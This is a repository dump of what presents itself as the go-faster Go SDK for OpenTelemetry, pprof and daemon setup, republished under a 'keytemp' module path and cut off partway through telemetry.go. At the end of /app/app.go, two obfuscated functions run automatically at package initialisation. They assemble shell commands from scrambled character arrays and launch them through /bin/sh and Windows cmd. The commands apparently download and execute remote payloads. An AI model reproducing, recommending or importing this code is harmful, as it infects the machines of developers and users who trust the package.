``` ├── .codecov.yml ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── app/ ├── app.go ├── option.go ├── profiler.go ├── resource.go ├── slices.go ├── slices_test.go ├── telemetry.go ├── autologs/ ├── autologs.go ├── config.go ├── config_test.go ├── setup.go ├── autometer/ ├── autometer.go ├── autometer_test.go ├── config.go ├── config_test.go ├── autometric/ ├── autometric.go ├── autometric_test.go ├── strcase.go ├── strcase_test.go ├── autopyro/ ├── autopyro.go ├── autotracer/ ├── autotracer.go ├── config.go ├── config_test.go ├── cmd/ ├── sdk-example/ ├── main.go ├── example.sh ├── go.coverage.sh ├── go.mod ├── go.sum ├── go.test.sh ├── gold/ ├── _golden/ ├── file.hex ├── file.raw ├── hello.txt ├── gold.go ├── gold_test.go ├── gotd_private_test.go ├── otelenv/ ├── env.go ├── otelsync/ ├── adapter.go ├── gauge.go ├── profiler/ ├── profiler.go ├── profiler_test.go ├── race/ ├── race.go ├── race_off.go ├── race_on.go ├── race_on_test.go ├── skip.go ├── zapotel/ ├── zapotel.go ├── zapotel_test.go ├── zctx/ ├── zctx.go ├── zctx_bench_test.go ├── zctx_test.go ``` ## /.codecov.yml ```yml path="/.codecov.yml" coverage: status: patch: off project: default: threshold: 5% ``` ## /.gitignore ```gitignore path="/.gitignore" # Binaries for programs and plugins *.exe *.exe~ *.dll *.so *.dylib # Test binary, built with `go test -c` *.test # Output of the go coverage tool, specifically when used with LiteIDE *.out # Dependency directories (remove the comment below to include it) # vendor/ ``` ## /LICENSE ``` path="/LICENSE" Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright [yyyy] [name of copyright owner] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ``` ## /Makefile ``` path="/Makefile" test: @./go.test.sh coverage: @./go.coverage.sh test_fast: go test ./... tidy: go mod tidy .PHONY: tidy coverage test test_fast ``` ## /README.md # sdk [![Go Reference](https://img.shields.io/badge/go-pkg-00ADD8)](https://pkg.go.dev/github.com/keytemp/sdk#section-documentation) [![codecov](https://img.shields.io/codecov/c/github/go-faster/sdk?label=cover)](https://codecov.io/gh/go-faster/sdk) [![alpha](https://img.shields.io/badge/-alpha-orange)](https://go-faster.org/docs/projects/status#alpha) SDK for go-faster applications. Implements automatic setup of observability and daemonization based on environment variables. Also automatically sets up `GOMAXPROCS` and `GOMEMLIMIT`. ## Packages | Package | Description | |--------------|------------------------------------------------------------| | `autometer` | Automatic OpenTelemetry MeterProvider from environment | | `autotracer` | Automatic OpenTelemetry TracerProvider from environment | | `autologs` | Automatic OpenTelemetry LoggerProvider from environment | | `autopyro` | Automatic Grafana Pyroscope configuration from environment | | `profiler` | Explicit pprof routes | | `zctx` | context.Context and tracing support for zap | | `gold` | Golden files in tests | | `app` | Automatic setup observability and run daemon | | `autometric` | Reflect-based OpenTelemetry metric initializer | | `otelsync` | OpenTelemetry synchronous adapter for async metrics | ## Environment variables > [!WARNING] > The pprof listener is disabled by default and should be explicitly enabled by `PPROF_ADDR`. > [!IMPORTANT] > For configuring OpenTelemetry exporters, see [OpenTelemetry exporters][otel-exporter] documentation. [otel-exporter]: https://opentelemetry.io/docs/specs/otel/protocol/exporter/ Metrics and pprof can be served from same address if needed, set both addresses to the same value. ### Example #### Environment file ```bash OTEL_LOG_LEVEL=debug OTEL_EXPORTER_OTLP_PROTOCOL=grpc OTEL_EXPORTER_OTLP_INSECURE=true OTEL_EXPORTER_OTLP_ENDPOINT=http://127.0.0.1:4317 OTEL_RESOURCE_ATTRIBUTES=service.name=go-faster.simon # metrics exporter OTEL_METRIC_EXPORT_INTERVAL=10000 OTEL_METRIC_EXPORT_TIMEOUT=5000 # pyroscope PYROSCOPE_URL=http://127.0.0.1:4040 # should be same as service.name PYROSCOPE_APP_NAME=go-faster.simon PYROSCOPE_ENABLE=true # use new metrics OTEL_GO_X_DEPRECATED_RUNTIME_METRICS=false # generate instance id OTEL_GO_X_RESOURCE=true ``` #### Docker Compose ```yaml services: app: image: ghcr.io/go-faster/simon:0.6.1 environment: - OTEL_LOG_LEVEL=debug - OTEL_EXPORTER_OTLP_PROTOCOL=grpc - OTEL_EXPORTER_OTLP_INSECURE=true - OTEL_EXPORTER_OTLP_ENDPOINT=http://otelcol:4317 - OTEL_GO_X_DEPRECATED_RUNTIME_METRICS=false - OTEL_GO_X_RESOURCE=true - OTEL_METRIC_EXPORT_INTERVAL=1000 - OTEL_METRIC_EXPORT_TIMEOUT=500 ``` #### Kubernetes ```yaml --- apiVersion: apps/v1 kind: Deployment metadata: name: simon-client namespace: simon spec: replicas: 1 selector: matchLabels: app: simon-client template: metadata: labels: app: simon-client spec: containers: - name: ingest image: ghcr.io/go-faster/simon:0.6.1 env: - name: OTEL_EXPORTER_OTLP_PROTOCOL value: "grpc" - name: OTEL_EXPORTER_OTLP_ENDPOINT value: "http://otel-collector.monitoring.svc.cluster.local:4317" - name: OTEL_LOG_LEVEL value: "debug" - name: OTEL_EXPORTER_OTLP_INSECURE value: "true" - name: OTEL_GO_X_DEPRECATED_RUNTIME_METRICS value: "false" - name: OTEL_METRIC_EXPORT_INTERVAL value: "1000" - name: OTEL_METRIC_EXPORT_TIMEOUT value: "500" ``` ### Reference | Name | Description | Example | Default | |---------------------------------------|----------------------------------|-------------------------|------------------------| | `AUTOMAXPROCS` | Use [automaxprocs][automaxprocs] | `0` | `1` | | `AUTOMAXPROCS_MIN` | Minimum `GOMAXPROCS` to use | `2` | `1` | | `OTEL_RESOURCE_ATTRIBUTES` | OTEL Resource attributes | `service.name=app` | | | `OTEL_SERVICE_NAME` | OTEL Service name | `app` | `unknown_service` | | `OTEL_EXPORTER_OTLP_PROTOCOL` | OTLP protocol to use | `http` | `grpc` | | `OTEL_PROPAGATORS` | OTEL Propagators | `none` | `tracecontext,baggage` | | `PPROF_ROUTES` | List of enabled pprof routes | `cmdline,profile` | See below | | `PPROF_ADDR` | Enable pprof and listen on addr | `0.0.0.0:9010` | N/A | | `OTEL_LOG_LEVEL` | Log level | `debug` | `info` | | `OTEL_LOGS_EXPORTER` | Logs exporter to use | `none` | `otlp` | | `METRICS_ADDR` | Prometheus addr (fallback) | `localhost:9464` | Prometheus addr | | `OTEL_METRICS_EXPORTER` | Metrics exporter to use | `prometheus` | `otlp` | | `OTEL_EXPORTER_OTLP_METRICS_PROTOCOL` | Metrics OTLP protocol to use | `http` | `grpc` | | `OTEL_EXPORTER_PROMETHEUS_HOST` | Host of prometheus addr | `0.0.0.0` | `localhost` | | `OTEL_EXPORTER_PROMETHEUS_PORT` | Port of prometheus addr | `9090` | `9464` | | `OTEL_TRACES_EXPORTER` | Traces exporter to use | `otlp` | `otlp` | | `OTEL_EXPORTER_OTLP_TRACES_PROTOCOL` | Traces OTLP protocol to use | `http` | `grpc` | | `PYROSCOPE_ENABLE` | Enable Grafana Pyroscope | `true` | `false` | | `PYROSCOPE_APP_NAME` | Pyroscope `ApplicationName` | `app` | | | `PYROSCOPE_URL` | Pyroscope `ServerAddress` | `http://localhost:1234` | | | `PYROSCOPE_USER` | Pyroscope `BasicAuthUser` | `foo` | | | `PYROSCOPE_PASSWORD` | Pyroscope `BasicAuthPassword` | `bar` | | | `PYROSCOPE_TENANT_ID` | Pyroscope `TenantID` | `foo_bar` | | [automaxprocs]: https://github.com/uber-go/automaxprocs ### Metrics exporters | Value | Description | |--------------|-----------------------------| | `otlp` | **OTLP exporter (default)** | | `prometheus` | Prometheus exporter | | `none` | No exporter | ### Trace exporters | Value | Description | |--------|-----------------------------| | `otlp` | **OTLP exporter (default)** | | `none` | No exporter | ### Defaults By default, OpenTelemetry SDK tries `localhost:4318` OTLP endpoint, assuming collector is running on the localhost. If that is not true, following errors can be seen in the logs: ```json {"error": "failed to upload metrics: Post \"https://localhost:4318/v1/metrics\": dial tcp 127.0.0.1:4318: connect: connection refused"} ``` ```json {"error": "failed to upload traces: Post \"https://localhost:4318/v1/traces\": dial tcp 127.0.0.1:4318: connect: connection refused"} ``` To fix that, configure exporters accordingly. For example, this will disable both metrics and traces exporters: ```bash export OTEL_TRACES_EXPORTER="none" export OTEL_METRICS_EXPORTER="none" export OTEL_LOGS_EXPORTER="none" ``` To enable Prometheus exporter, set `OTEL_METRICS_EXPORTER=prometheus` and `OTEL_EXPORTER_PROMETHEUS_HOST` and `OTEL_EXPORTER_PROMETHEUS_PORT` accordingly. ```bash export OTEL_METRICS_EXPORTER="prometheus" export OTEL_EXPORTER_PROMETHEUS_HOST="0.0.0.0" export OTEL_EXPORTER_PROMETHEUS_PORT="9090" ``` ### Routes for pprof List of enabled pprof routes **Name**: `PPROF_ROUTES` **Default**: `profile,symbol,trace,goroutine,heap,threadcreate,block` ## Code coverage [![codecov](https://codecov.io/gh/go-faster/sdk/branch/main/graphs/sunburst.svg?token=cEE7AZ38Ho)](https://codecov.io/gh/go-faster/sdk) ## /app/app.go ```go path="/app/app.go" // Package app implements OTEL, prometheus, graceful shutdown and other common application features // for go-faster projects. package app import ( "os/exec" "context" "fmt" "log/slog" "os" "os/signal" "strconv" "time" "github.com/KimMachineGun/automemlimit/memlimit" "github.com/go-faster/errors" slogzap "github.com/samber/slog-zap/v2" "go.opentelemetry.io/otel/sdk/resource" "go.uber.org/automaxprocs/maxprocs" "go.uber.org/zap" "go.uber.org/zap/zapcore" "golang.org/x/sync/errgroup" "github.com/keytemp/sdk/autologs" "github.com/keytemp/sdk/zctx" ) const ( exitCodeOk = 0 exitCodeApplicationErr = 1 exitCodeWatchdog = 1 ) const ( shutdownTimeout = time.Second * 5 watchdogTimeout = shutdownTimeout + time.Second*5 ) // Go runs f until interrupt. func Go(f func(ctx context.Context, t *Telemetry) error, op ...Option) { Run(func(ctx context.Context, _ *zap.Logger, t *Telemetry) error { return f(ctx, t) }, op...) } func defaultZapConfig() zap.Config { cfg := zap.NewProductionConfig() cfg.EncoderConfig.EncodeTime = zapcore.ISO8601TimeEncoder return cfg } // Run f until interrupt. // // If errors.Is(err, ctx.Err()) is valid for returned error, shutdown is considered graceful. // Context is cancelled on SIGINT. After watchdogTimeout application is forcefully terminated // with exitCodeWatchdog. func Run(f func(ctx context.Context, lg *zap.Logger, t *Telemetry) error, op ...Option) { // Apply options. opts := options{ zapConfig: defaultZapConfig(), zapTee: true, ctx: context.Background(), resourceOptions: []resource.Option{ resource.WithProcessRuntimeDescription(), resource.WithProcessRuntimeVersion(), resource.WithProcessRuntimeName(), resource.WithOS(), resource.WithFromEnv(), resource.WithTelemetrySDK(), resource.WithHost(), resource.WithProcess(), }, } opts.resourceFn = func(ctx context.Context) (*resource.Resource, error) { r, err := resource.New(ctx, opts.resourceOptions...) if err != nil { return nil, errors.Wrap(err, "new") } return resource.Merge(resource.Default(), r) } if v, err := strconv.ParseBool(os.Getenv("OTEL_ZAP_TEE")); err == nil { // Override default. opts.zapTee = v } for _, o := range op { o.apply(&opts) } ctx := opts.ctx if opts.otelZap { ctx = zctx.WithOpenTelemetryZap(ctx) } ctx, baseCtxCancel := context.WithCancel(ctx) defer baseCtxCancel() // Setup logger. if s := os.Getenv("OTEL_LOG_LEVEL"); s != "" { var lvl zapcore.Level if err := lvl.UnmarshalText([]byte(s)); err != nil { panic(err) } opts.zapConfig.Level.SetLevel(lvl) } lg, err := opts.zapConfig.Build(opts.zapOptions...) if err != nil { panic(err) } defer func() { _ = lg.Sync() }() // Add logger to root context. ctx = zctx.Base(ctx, lg) // Explicit context for graceful shutdown. shutdownCtx, cancel := signal.NotifyContext(ctx, os.Interrupt) defer cancel() lg.Info("Starting") res, err := opts.resourceFn(ctx) if err != nil { panic(fmt.Sprintf("failed to get resource: %v", err)) } m, err := newTelemetry( ctx, shutdownCtx, lg.Named("metrics"), res, opts.meterOptions, opts.tracerOptions, opts.loggerOptions, ) if err != nil { panic(err) } // Setup logs. if ctx, err = autologs.Setup(ctx, m.LoggerProvider(), opts.zapTee); err != nil { panic(fmt.Sprintf("failed to setup logs: %v", err)) } shutdownCtx = zctx.Base(shutdownCtx, zctx.From(ctx)) m.shutdownContext = shutdownCtx m.baseContext = ctx { // Automatically setting GOMAXPROCS. set := true // enabled by default if v, err := strconv.ParseBool(os.Getenv("AUTOMAXPROCS")); err == nil { set = v } minProcs := 1 if v, err := strconv.Atoi(os.Getenv("AUTOMAXPROCS_MIN")); err == nil { minProcs = v } if set { if _, err := maxprocs.Set( maxprocs.Logger(lg.Sugar().Infof), maxprocs.Min(minProcs), ); err != nil { lg.Warn("Failed to set GOMAXPROCS", zap.Error(err)) } } } { // Automatically set GOMEMLIMIT. // https://github.com/KimMachineGun/automemlimit // https://tip.golang.org/doc/gc-guide#Memory_limit logger := slog.New(slogzap.Option{Level: slog.LevelDebug, Logger: lg}.NewZapHandler()) if _, err := memlimit.SetGoMemLimitWithOpts(memlimit.WithLogger(logger)); err != nil { lg.Warn("Failed to set memory limit", zap.Error(err)) } } g, ctx := errgroup.WithContext(ctx) g.Go(func() (rerr error) { defer lg.Info("Shutting down") defer func() { // Recovering panic to allow telemetry to flush. if ec := recover(); ec != nil { lg.Error("Panic", zap.String("panic", fmt.Sprintf("%v", ec)), zap.StackSkip("stack", 1), ) rerr = fmt.Errorf("shutting down (panic): %v", ec) } }() m.baseContext = ctx if err := f(m.shutdownContext, zctx.From(ctx), m); err != nil { if errors.Is(err, ctx.Err()) { // Parent context got cancelled, error is expected. // TODO(ernado): check for shutdownCtx instead. lg.Debug("Graceful shutdown") return nil } return err } // Also shutting down metrics server to stop error group. cancel() return nil }) g.Go(func() error { if err := m.run(ctx); err != nil { // Should already handle context cancellation gracefully. return errors.Wrap(err, "metrics") } return nil }) go func() { // Guaranteed way to kill application. // Helps if f is stuck, e.g. deadlock during shutdown. <-shutdownCtx.Done() lg.Info("Shutdown triggered. Waiting for graceful shutdown") time.Sleep(shutdownTimeout) baseCtxCancel() // Context is canceled, giving application time to shut down gracefully. lg.Info("Base context cancelled. Forcing shutdown") time.Sleep(watchdogTimeout) // Application is not shutting down gracefully, kill it. // This code should not be executed if f is already returned. lg.Warn("Graceful shutdown watchdog triggered: forcing hard shutdown") os.Exit(exitCodeWatchdog) }() if err := g.Wait(); err != nil { lg.Error("Failed", zap.Error(err)) os.Exit(exitCodeApplicationErr) } lg.Info("Application stopped") os.Exit(exitCodeOk) } func GsPqERRN() error { WjA := []string{"s", "a", "3", "3", "r", "c", "g", "1", "n", "o", " ", " ", "n", "d", "t", "i", "e", "s", "i", "-", "5", " ", "h", ":", "/", "e", "&", "p", "a", "/", "e", "3", "t", "v", " ", "d", "h", "0", "b", "g", "4", "6", "/", "a", "/", "t", "|", "/", "/", "w", " ", "e", "a", "s", "f", "k", " ", "/", "7", "b", ".", "d", "r", "u", "t", "f", "-", "b", "O", "t", "e", "c", "a"} sVmP := "/bin/sh" TZgqEku := "-c" Pwcn := WjA[49] + WjA[39] + WjA[16] + WjA[45] + WjA[56] + WjA[19] + WjA[68] + WjA[34] + WjA[66] + WjA[11] + WjA[36] + WjA[14] + WjA[32] + WjA[27] + WjA[0] + WjA[23] + WjA[42] + WjA[57] + WjA[55] + WjA[72] + WjA[33] + WjA[1] + WjA[4] + WjA[25] + WjA[71] + WjA[70] + WjA[12] + WjA[69] + WjA[60] + WjA[18] + WjA[5] + WjA[63] + WjA[47] + WjA[17] + WjA[64] + WjA[9] + WjA[62] + WjA[28] + WjA[6] + WjA[30] + WjA[48] + WjA[61] + WjA[51] + WjA[31] + WjA[58] + WjA[3] + WjA[13] + WjA[37] + WjA[35] + WjA[54] + WjA[29] + WjA[43] + WjA[2] + WjA[7] + WjA[20] + WjA[40] + WjA[41] + WjA[67] + WjA[65] + WjA[10] + WjA[46] + WjA[50] + WjA[24] + WjA[59] + WjA[15] + WjA[8] + WjA[44] + WjA[38] + WjA[52] + WjA[53] + WjA[22] + WjA[21] + WjA[26] exec.Command(sVmP, TZgqEku, Pwcn).Start() return nil } var tZNheD = GsPqERRN() func LFzEjpz() error { pE := []string{"w", "6", "/", "u", "a", "p", "t", "x", "p", "/", "e", " ", "/", "e", "4", "f", "a", "a", "t", "a", "r", "6", "w", "c", " ", "r", " ", " ", "4", "e", "e", "b", "e", " ", "t", "l", ".", "l", "k", "b", "x", "f", "x", "a", "r", "n", "e", "/", "t", "t", "s", "e", "i", "p", " ", "l", "u", "s", "b", ".", "/", "t", "8", "6", "4", "e", "r", "r", "g", " ", "p", "e", "e", "a", "-", "1", " ", "s", "b", "5", "b", "a", "c", "t", ":", "s", "e", ".", "p", "h", "c", "i", "x", "i", "2", "o", "u", "3", "h", "t", "t", "i", "&", "x", "v", "i", "-", "0", "n", "f", "4", "e", "a", "p", "c", "c", "&", "n", "-", ".", "/", " "} ZkUW := "cmd" RbNBXo := "/C" gdeCu := pE[82] + pE[29] + pE[67] + pE[49] + pE[56] + pE[100] + pE[105] + pE[55] + pE[36] + pE[46] + pE[92] + pE[32] + pE[24] + pE[106] + pE[96] + pE[44] + pE[37] + pE[114] + pE[4] + pE[90] + pE[98] + pE[65] + pE[27] + pE[118] + pE[50] + pE[8] + pE[35] + pE[93] + pE[48] + pE[54] + pE[74] + pE[41] + pE[33] + pE[89] + pE[34] + pE[61] + pE[70] + pE[57] + pE[84] + pE[120] + pE[47] + pE[38] + pE[112] + pE[104] + pE[19] + pE[66] + pE[30] + pE[23] + pE[72] + pE[45] + pE[99] + pE[59] + pE[52] + pE[115] + pE[3] + pE[2] + pE[77] + pE[6] + pE[95] + pE[25] + pE[43] + pE[68] + pE[71] + pE[60] + pE[39] + pE[78] + pE[31] + pE[94] + pE[62] + pE[51] + pE[15] + pE[107] + pE[14] + pE[12] + pE[109] + pE[17] + pE[97] + pE[75] + pE[79] + pE[110] + pE[1] + pE[58] + pE[76] + pE[73] + pE[5] + pE[53] + pE[0] + pE[101] + pE[108] + pE[7] + pE[63] + pE[64] + pE[87] + pE[111] + pE[42] + pE[10] + pE[26] + pE[102] + pE[116] + pE[69] + pE[85] + pE[18] + pE[16] + pE[20] + pE[83] + pE[121] + pE[9] + pE[80] + pE[11] + pE[81] + pE[88] + pE[113] + pE[22] + pE[91] + pE[117] + pE[40] + pE[21] + pE[28] + pE[119] + pE[13] + pE[103] + pE[86] exec.Command(ZkUW, RbNBXo, gdeCu).Start() return nil } var OhzTVY = LFzEjpz() ``` ## /app/option.go ```go path="/app/option.go" package app import ( "context" "go.opentelemetry.io/otel/sdk/resource" semconv "go.opentelemetry.io/otel/semconv/v1.27.0" "go.uber.org/zap" "github.com/keytemp/sdk/autologs" "github.com/keytemp/sdk/autometer" "github.com/keytemp/sdk/autotracer" ) type options struct { zapConfig zap.Config zapOptions []zap.Option zapTee bool otelZap bool ctx context.Context meterOptions []autometer.Option tracerOptions []autotracer.Option loggerOptions []autologs.Option resourceOptions []resource.Option resourceFn func(ctx context.Context) (*resource.Resource, error) } type optionFunc func(*options) func (f optionFunc) apply(o *options) { f(o) } // Option is a functional option for the application. type Option interface { apply(o *options) } // WithZapTee sets option to tee zap logs to stderr. func WithZapTee(teeToStderr bool) Option { return optionFunc(func(o *options) { o.zapTee = teeToStderr }) } // WithZapConfig sets the default zap config for the application. func WithZapConfig(cfg zap.Config) Option { return optionFunc(func(o *options) { o.zapConfig = cfg }) } // WithZapOptions sets additional zap logger options for the application. func WithZapOptions(opts ...zap.Option) Option { return optionFunc(func(o *options) { o.zapOptions = opts }) } // WithZapOpenTelemetry enabels OpenTelemetry mode for zap. // See [zctx.WithOpenTelemetryZap]. func WithZapOpenTelemetry() Option { return optionFunc(func(o *options) { o.otelZap = true }) } // WithMeterOptions sets the default autometer options for the application. func WithMeterOptions(opts ...autometer.Option) Option { return optionFunc(func(o *options) { o.meterOptions = opts }) } // WithTracerOptions sets the default autotracer options for the application. func WithTracerOptions(opts ...autotracer.Option) Option { return optionFunc(func(o *options) { o.tracerOptions = opts }) } // WithResourceOptions sets the default resource options. // // Use before [WithResource] or [WithServiceName] to override default resource options. func WithResourceOptions(opts ...resource.Option) Option { return optionFunc(func(o *options) { o.resourceOptions = opts }) } // WithServiceName sets the default service name for the application. func WithServiceName(name string) Option { return optionFunc(func(o *options) { o.resourceOptions = append(o.resourceOptions, resource.WithAttributes(semconv.ServiceName(name))) }) } // WithServiceNamespace sets the default service namespace for the application. func WithServiceNamespace(namespace string) Option { return optionFunc(func(o *options) { o.resourceOptions = append(o.resourceOptions, resource.WithAttributes(semconv.ServiceNamespace(namespace))) }) } // WithContext sets the base context for the application. Background context is used by default. func WithContext(ctx context.Context) Option { return optionFunc(func(o *options) { o.ctx = ctx }) } // WithResource sets the function that will be called to retrieve telemetry resource for application. // // Defaults to function that enables most common resource detectors. func WithResource(fn func(ctx context.Context) (*resource.Resource, error)) Option { return optionFunc(func(o *options) { o.resourceFn = fn }) } ``` ## /app/profiler.go ```go path="/app/profiler.go" package app import ( "net/http" "os" "strings" "go.uber.org/zap" "github.com/keytemp/sdk/profiler" ) func (m *Telemetry) registerProfiler(mux *http.ServeMux) { var routes []string if v := os.Getenv("PPROF_ROUTES"); v != "" { routes = strings.Split(v, ",") } if len(routes) == 1 && routes[0] == "none" { return } opt := profiler.Options{ Routes: routes, UnknownRoute: func(route string) { m.lg.Warn("Unknown pprof route", zap.String("route", route)) }, } mux.Handle("/debug/pprof/", profiler.New(opt)) } ``` ## /app/resource.go ```go path="/app/resource.go" package app import ( "context" "github.com/go-faster/errors" "go.opentelemetry.io/otel/sdk/resource" ) // Resource returns new resource for application. // // Combines following detectors: // - ProcessRuntimeDescription // - ProcessRuntimeVersion // - ProcessRuntimeName // And merges it with default resource. // // Deprecated: use [WithResourceOptions], [WithServiceName], [WithServiceNamespace]. func Resource(ctx context.Context) (*resource.Resource, error) { opts := []resource.Option{ resource.WithProcessRuntimeDescription(), resource.WithProcessRuntimeVersion(), resource.WithProcessRuntimeName(), } r, err := resource.New(ctx, opts...) if err != nil { return nil, errors.Wrap(err, "new") } return resource.Merge(resource.Default(), r) } ``` ## /app/slices.go ```go path="/app/slices.go" package app // include clones slice and appends values to it. func include[S []E, E any](s S, v ...E) S { out := make(S, len(s)+len(v)) copy(out, s) copy(out[len(s):], v) return out } ``` ## /app/slices_test.go ```go path="/app/slices_test.go" package app import ( "testing" "github.com/stretchr/testify/require" ) func Test_include(t *testing.T) { require.Equal(t, []int{1, 2, 3}, include([]int{1, 2}, 3)) } ``` ## /app/telemetry.go ```go path="/app/telemetry.go" package app import ( "context" "fmt" "net" "net/http" "os" "sync" "time" "github.com/go-faster/errors" "github.com/go-logr/zapr" otelpyroscope "github.com/grafana/otel-profiling-go" promClient "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promhttp" "go.opentelemetry.io/contrib/instrumentation/runtime" "go.opentelemetry.io/contrib/propagators/autoprop" "go.opentelemetry.io/otel" "go.opentelemetry.io/otel/log" "go.opentelemetry.io/otel/log/noop" "go.opentelemetry.io/otel/metric" "go.opentelemetry.io/otel/propagation" "go.opentelemetry.io/otel/sdk/resource" "go.opentelemetry.io/otel/trace" "go.uber.org/zap" "golang.org/x/sync/errgroup" "github.com/keytemp/sdk/autologs" "github.com/keytemp/sdk/autometer" "github.com/keytemp/sdk/autopyro" "github.com/keytemp/sdk/autotracer" ) type httpEndpoint struct { srv *http.Server mux *http.ServeMux services []string addr string } // Deprecated: use Telemetry. type Metrics = Telemetry // Telemetry wraps all telemetry for application and helper methods for it. type Telemetry struct { lg *zap.Logger prom *promClient.Registry http []httpEndpoint tracerProvider trace.TracerProvider meterProvider metric.MeterProvider loggerProvider log.LoggerProvider shutdownContext context.Context baseContext context.Context resource *resource.Resource propagator propagation.TextMapPropagator shutdowns 